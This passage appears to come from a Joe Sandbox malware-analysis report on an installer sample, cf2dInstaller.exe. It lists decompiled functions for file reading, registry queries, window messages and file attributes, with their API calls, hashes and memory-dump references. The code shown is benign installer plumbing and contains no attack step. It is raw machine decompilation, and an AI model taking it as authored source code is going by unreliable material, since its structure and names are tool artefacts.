0x1000197f
0x10001982
0x10001982
0x00000000
0x1000197f
0x1000193f
0x10001954
0x00000000
0x10001954
0x1000192e
0x00000000

APIs

Part of subcall function 10001D3B: GlobalFree.KERNEL32 ref: 10001F80
Part of subcall function 10001D3B: GlobalFree.KERNEL32 ref: 10001F85
Part of subcall function 10001D3B: GlobalFree.KERNEL32 ref: 10001F8A

GlobalFree.KERNEL32 ref: 10001954

Part of subcall function 1000159E: GlobalAlloc.KERNEL32(00000040,?,?,1000184F,?), ref: 100015B3
Part of subcall function 1000159E: lstrcpynA.KERNEL32(00000004,?,?,1000184F,?), ref: 100015C9

Memory Dump Source

Source File: 00000003.00000002.506890676.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.506882203.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506902544.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506915040.0000000010005000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_cf2dInstaller.jbxd

Similarity

API ID: Global$Free$Alloclstrcpyn
String ID:
API String ID: 4250884139-0
Opcode ID: 62341817b2a61b929e838536d8585676b76ea2880893859e999394fc5a06974a
Instruction ID: a22357d2cb3c78b2278c299a04f01c35aa812c0f952119c0c619dddff05ce942
Opcode Fuzzy Hash: 62341817b2a61b929e838536d8585676b76ea2880893859e999394fc5a06974a
Instruction Fuzzy Hash: 4C01D67A404710DBF211EB64DC4ABCA7BE8EF852E0F028429F645A315DDF30A9018BA6

Uniqueness

Uniqueness Score: -1.00%

Function 1000120C, Relevance: 3.2, APIs: 2, Instructions: 156COMMON

Download Yara Rule

APIs

LoadImageA.USER32(00000000), ref: 100012CB
GetLastError.KERNEL32 ref: 100013D2

Memory Dump Source

Source File: 00000003.00000002.506890676.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.506882203.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506902544.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506915040.0000000010005000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_cf2dInstaller.jbxd

Similarity

API ID: ErrorImageLastLoad
String ID:
API String ID: 2189606529-0
Opcode ID: e37e7e391b3a2b8b5636dc6aebf24869d58b81a53228d5294debfeeb9962e7db
Instruction ID: f07c43787ce958523a2b1e991860d2c35ff6be18a2ffa2491c02e46e3495c162
Opcode Fuzzy Hash: e37e7e391b3a2b8b5636dc6aebf24869d58b81a53228d5294debfeeb9962e7db
Instruction Fuzzy Hash: B75183FA904214DFFB20DFA4DC8279977A4EB443D4F21842AFA04E721DDB34A990CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00402506, Relevance: 3.1, APIs: 2, Instructions: 79
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402506(intOrPtr __ebx, void* __edi, void* __esi) {
				intOrPtr _t28;
				void* _t37;
				void* _t40;

				 *((intOrPtr*)(_t37 - 0x2c)) = __ebx;
				_t28 = E004029D9(2);
				_t40 = _t28 - 1;
				 *((intOrPtr*)(_t37 - 0x34)) = _t28;
				if(_t40 < 0) {
					L25:
					 *0x42ebe8 =  *0x42ebe8 +  *(_t37 - 4);
				} else {
					__ecx = 0x3ff;
					if(__eax > 0x3ff) {
						 *((intOrPtr*)(__ebp - 0x34)) = 0x3ff;
					}
					if( *__esi == __bl) {
						L22:
						__esi =  *((intOrPtr*)(__ebp - 0x2c));
						goto L23;
					} else {
						 *((char*)(__ebp + 0xb)) = __bl;
						 *(__ebp - 8) = E00405983(__ecx, __esi);
						if( *((intOrPtr*)(__ebp - 0x34)) <= __ebx) {
							goto L22;
						} else {
							__esi =  *((intOrPtr*)(__ebp - 0x2c));
							while(1) {
								__ebp - 0x30 = __ebp - 9;
								__eax = ReadFile( *(__ebp - 8), __ebp - 9, 1, __ebp - 0x30, __ebx); // executed
								if(__eax == 0 ||  *(__ebp - 0x30) != 1) {
									break;
								}
								if( *((intOrPtr*)(__ebp - 0x18)) != __ebx) {
									 *(__ebp - 9) & 0x000000ff = E0040596A(__edi,  *(__ebp - 9) & 0x000000ff);
								} else {
									if( *((char*)(__ebp + 0xb)) == 0xd ||  *((char*)(__ebp + 0xb)) == 0xa) {
										__al =  *(__ebp - 9);
										if( *((intOrPtr*)(__ebp + 0xb)) == __al || __al != 0xd && __al != 0xa) {
											__eax = SetFilePointer( *(__ebp - 8), 0xffffffff, __ebx, 1);
										} else {
											 *((char*)(__esi + __edi)) = __al;
											__esi = __esi + 1;
										}
										break;
									} else {
										__al =  *(__ebp - 9);
										 *((char*)(__esi + __edi)) = __al;
										__esi = __esi + 1;
										 *((char*)(__ebp + 0xb)) = __al;
										if(__al == __bl) {
											break;
										} else {
											if(__esi <  *((intOrPtr*)(__ebp - 0x34))) {
												continue;
											} else {
												break;
											}
										}
									}
								}
								goto L26;
							}
							L23:
							 *((char*)(__esi + __edi)) = __bl;
							if(_t40 == 0) {
								 *(_t37 - 4) = 1;
							}
							goto L25;
						}
					}
				}
				L26:
				return 0;
			}

0x00402508
0x0040250b
0x00402510
0x00402513
0x00402516
0x0040288b
0x0040288e
0x0040251c
0x0040251c
0x00402523
0x00402525
0x00402525
0x0040252a
0x004025be
0x004025be
0x00000000
0x00402530
0x00402531
0x0040253c
0x0040253f
0x00000000
0x00402541
0x00402541
0x00402544
0x00402549
0x00402552
0x0040255a
0x00000000
0x00000000
0x00402565
0x0040258e
0x00402567
0x0040256b
0x00402598
0x0040259e
0x004025b6
0x004025a8
0x004025a8
0x004025ab
0x004025ab
0x00000000
0x00402573
0x00402573
0x00402576
0x00402579
0x0040257c
0x0040257f
0x00000000
0x00402581
0x00402584
0x00000000
0x00402586
0x00000000
0x00402586
0x00402584
0x0040257f
0x0040256b
0x00000000
0x00402565
0x004025c1
0x004025c1
0x004015a8
0x0040265c
0x0040265c
0x00000000
0x004015a8
0x0040253f
0x0040252a
0x00402894
0x0040289a

APIs

ReadFile.KERNEL32(?,?,00000001,?,?,?,00000002), ref: 00402552

Part of subcall function 0040596A: wsprintfA.USER32 ref: 00405977

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: FileReadwsprintf
String ID:
API String ID: 3326442220-0
Opcode ID: 2c7191adeafb7d7382798bce2ac0963ce55d8e8026d0a5c1790b4b53cd6a8cd4
Instruction ID: 02b82add068a20f554fa3340ec929415b861c3440f6284982e621cfe540b9a84
Opcode Fuzzy Hash: 2c7191adeafb7d7382798bce2ac0963ce55d8e8026d0a5c1790b4b53cd6a8cd4
Instruction Fuzzy Hash: DE21F870D05299FFDF219FA48E596EEBBB49B01304F14417BE881B63D2D1B88A81C72D

Uniqueness

Uniqueness Score: -1.00%

Function 004023AF, Relevance: 3.1, APIs: 2, Instructions: 57
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E004023AF(int* __ebx, char* __esi) {
				void* _t18;
				char* _t19;
				long _t22;
				void* _t35;
				void* _t39;
				void* _t42;

				_t37 = __esi;
				_t29 = __ebx;
				_t18 = E00402B00(_t42, 0x20019); // executed
				_t35 = _t18;
				_t19 = E004029F6(0x33);
				 *__esi = __ebx;
				if(_t35 == __ebx) {
					 *(_t39 - 4) = 1;
				} else {
					 *(_t39 - 8) = 0x3ff;
					_t22 = RegQueryValueExA(_t35, _t19, __ebx, _t39 + 8, __esi, _t39 - 8); // executed
					if(_t22 != 0) {
						L7:
						 *_t37 = _t29;
						 *(_t39 - 4) = 1;
					} else {
						if( *(_t39 + 8) == 4) {
							__eflags =  *(_t39 - 0x14) - __ebx;
							 *(_t39 - 4) = 0 |  *(_t39 - 0x14) == __ebx;
							E0040596A(__esi,  *__esi);
						} else {
							if( *(_t39 + 8) == 1 ||  *(_t39 + 8) == 2) {
								 *(_t39 - 4) =  *(_t39 - 0x14);
								_t37[ *(_t39 - 8)] = _t29;
							} else {
								goto L7;
							}
						}
					}
					_push(_t35); // executed
					RegCloseKey(); // executed
				}
				 *0x42ebe8 =  *0x42ebe8 +  *(_t39 - 4);
				return 0;
			}

0x004023af
0x004023af
0x004023b4
0x004023bb
0x004023bd
0x004023c4
0x004023c6
0x0040265c
0x004023cc
0x004023cf
0x004023df
0x004023ea
0x00402420
0x00402420
0x00402422
0x004023ec
0x004023f0
0x0040240f
0x00402416
0x00402419
0x004023f2
0x004023f5
0x00402400
0x00402406
0x00000000
0x00000000
0x00000000
0x004023f5
0x004023f0
0x0040247c
0x0040247d
0x0040247d
0x0040288e
0x0040289a

APIs

Part of subcall function 00402B00: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B28

RegQueryValueExA.KERNEL32(00000000,00000000,?,000003FF,?,?,?,?,00000033), ref: 004023DF
RegCloseKey.KERNEL32(?,?,?,C:\Users\user\AppData\Local\Temp\nshFB42.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040247D

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 3f9771260286cfbf3c38fa9d26fb08416a5fc84d851e3df57d723fbd924de948
Instruction ID: b014844320ad767dada11dd3629d5dc4f3fca22d365999f113298c01dbc1c66c
Opcode Fuzzy Hash: 3f9771260286cfbf3c38fa9d26fb08416a5fc84d851e3df57d723fbd924de948
Instruction Fuzzy Hash: B011C471904205EFDB15DF64CA889AE7BB4EF14348F20807FE442B72C1D2B88A45EB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401389, Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				intOrPtr _t15;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t15 =  *0x42eb90; // 0x24c67a4
					_t6 = _t17 * 0x1c + _t15;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x42e34c =  *0x42e34c + _t12;
						SendMessageA( *(_t18 + 0x18), 0x402, MulDiv( *0x42e34c, 0x7530,  *0x42e334), 0);
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x00401392
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: cf7b3020d7635a73a7f034f7f9c2b240c5e2222d46fcf66a2415134205071e91
Instruction ID: 8223ec958efd2c964e321ebce6dca8e406ed2778dd364e0d2667d4e2a9ef0db3
Opcode Fuzzy Hash: cf7b3020d7635a73a7f034f7f9c2b240c5e2222d46fcf66a2415134205071e91
Instruction Fuzzy Hash: FE01F4317242109BE7299B799D04B6A36D8E710325F14453FF955F72F1D678DC028B4D

Uniqueness

Uniqueness Score: -1.00%

Function 00402866, Relevance: 3.0, APIs: 2, Instructions: 21
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402866(signed int __eax) {
				RECT* _t10;
				void* _t16;

				SendMessageA( *(_t16 - 0x34), 0xb,  *0x42afe0 & __eax, _t10); // executed
				if( *((intOrPtr*)(_t16 - 0x24)) != _t10) {
					InvalidateRect( *(_t16 - 0x34), _t10, _t10);
				}
				 *0x42ebe8 =  *0x42ebe8 +  *((intOrPtr*)(_t16 - 4));
				return 0;
			}

0x00402875
0x0040287e
0x00402885
0x00402885
0x0040288e
0x0040289a

APIs

SendMessageA.USER32(?,0000000B,?), ref: 00402875
InvalidateRect.USER32(?), ref: 00402885

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: InvalidateMessageRectSend
String ID:
API String ID: 909852535-0
Opcode ID: a5f93ca787052cb85bb993d16fb5bfc88cd44bd4415a14ef171f869fd08a24a6
Instruction ID: 5d37e61976acf5bdbec0b869d18ae9d7eae5027ec9d1abcfdb12a567b3c3e37f
Opcode Fuzzy Hash: a5f93ca787052cb85bb993d16fb5bfc88cd44bd4415a14ef171f869fd08a24a6
Instruction Fuzzy Hash: 7AE08CB2B40104AFEB10DB94EE85DAE7BBAEB40349B14007AF602F0060D2341D10CA28

Uniqueness

Uniqueness Score: -1.00%

Function 00401D95, Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DAB
EnableWindow.USER32(00000000,00000000,00000001), ref: 00401DB6

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: bec9b1a9a5822b1f3694e8d3d7e5bfeccac05f90ba014232035f8450c8442d81
Instruction ID: 9da135c70202b86661629657fe57a258e31507742a425f579c1fc233a54c13c2
Opcode Fuzzy Hash: bec9b1a9a5822b1f3694e8d3d7e5bfeccac05f90ba014232035f8450c8442d81
Instruction Fuzzy Hash: 62E0CD72B08110DBD710F7B45D8995D3664DB40369B10453BF503F50C1D2789C4196EE

Uniqueness

Uniqueness Score: -1.00%

Function 004056E3, Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E004056E3(CHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesA(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileA(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x004056e7
0x004056f4
0x00405709
0x0040570f

APIs

GetFileAttributesA.KERNEL32(00000003,00402C62,C:\Users\user\AppData\Local\temp\cf2dInstaller.exe,80000000,00000003), ref: 004056E7
CreateFileA.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405709

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: f96d5d8e90d761c4e0dddf78ec48930a46771e4615b27f2c581d09f506512028
Instruction ID: 518821d5ca0a74227a37217cadb520a33af9faec79942caa6648154b48e23ab6
Opcode Fuzzy Hash: f96d5d8e90d761c4e0dddf78ec48930a46771e4615b27f2c581d09f506512028
Instruction Fuzzy Hash: DDD09E71658301AFEF098F20DE1AF2E7AA2EB84B01F10962CB646940E0D6715C15DB16

Uniqueness

Uniqueness Score: -1.00%

Function 004056C4, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004056C4(CHAR* _a4) {
				signed char _t3;

				_t3 = GetFileAttributesA(_a4); // executed
				if(_t3 != 0xffffffff) {
					return SetFileAttributesA(_a4, _t3 & 0x000000fe);
				}
				return _t3;
			}

0x004056c8
0x004056d1
0x00000000
0x004056da
0x004056e0

APIs

GetFileAttributesA.KERNEL32(?,004054CF,?,?,?), ref: 004056C8
SetFileAttributesA.KERNEL32(?,00000000), ref: 004056DA

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction ID: 8174f72b6c2f00669cb3d5f93c0fb6c6646d93779de37800628d5af5c47e1667
Opcode Fuzzy Hash: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction Fuzzy Hash: C7C002B1808501AAD6015B24DF0D81E7A66EB50361B508F25F569A00F0C7355866DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 70552058, Relevance: 2.5, APIs: 2, Instructions: 24
stringCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E70552058(intOrPtr _a4) {
				void* _t4;
				void* _t12;

				_t4 =  *0x70554030;
				if(_t4 == 0) {
					L5:
					return 1;
				}
				_t12 =  *_t4;
				if(_t12 == 0) {
					goto L5;
				}
				if(_a4 != 0) {
					_t2 = _t12 + 4; // 0x4
					 *0x70553010(_a4, _t2);
					_t4 =  *0x70554030;
				}
				 *_t4 =  *_t12; // executed
				GlobalFree(_t12); // executed
				return 0;
			}

0x70552058
0x70552060
0x70552091
0x00000000
0x70552093
0x70552062
0x70552066
0x00000000
0x00000000
0x7055206d
0x7055206f
0x70552077
0x7055207d
0x7055207d
0x70552085
0x70552087
0x00000000

APIs

lstrcpy.KERNEL32(?,00000004), ref: 70552077
GlobalFree.KERNEL32(00000000), ref: 70552087

Memory Dump Source

Source File: 00000003.00000002.506936748.0000000070551000.00000040.00020000.sdmp, Offset: 70550000, based on PE: true

Associated: 00000003.00000002.506928166.0000000070550000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506949667.0000000070557000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.506963095.0000000070558000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.506990793.0000000070559000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_70550000_cf2dInstaller.jbxd

Similarity

API ID: FreeGloballstrcpy
String ID:
API String ID: 1709915452-0
Opcode ID: 9463700bef0f5160a8cde5954f4a9ebcf2dc385fa7133a6f01c87a72d18372dc
Instruction ID: 435c4825ee3388c40d1412a49c67acd045198f52143a472289392a0f00e1dd4f
Opcode Fuzzy Hash: 9463700bef0f5160a8cde5954f4a9ebcf2dc385fa7133a6f01c87a72d18372dc
Instruction Fuzzy Hash: D2E0C9321162119FD711DF21D848B5B7BBABF1A644B21482AA987C71B4D7309844CB60

Uniqueness

Uniqueness Score: -1.00%

Function 004019B5, Relevance: 2.5, APIs: 2, Instructions: 23stringCOMMON

Download Yara Rule

APIs

lstrcmpiA.KERNEL32(00000000,00000000,00000031,00000020), ref: 004019CC
lstrcmpA.KERNEL32(00000000,00000000,00000031,00000020), ref: 004019DE

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: lstrcmplstrcmpi
String ID:
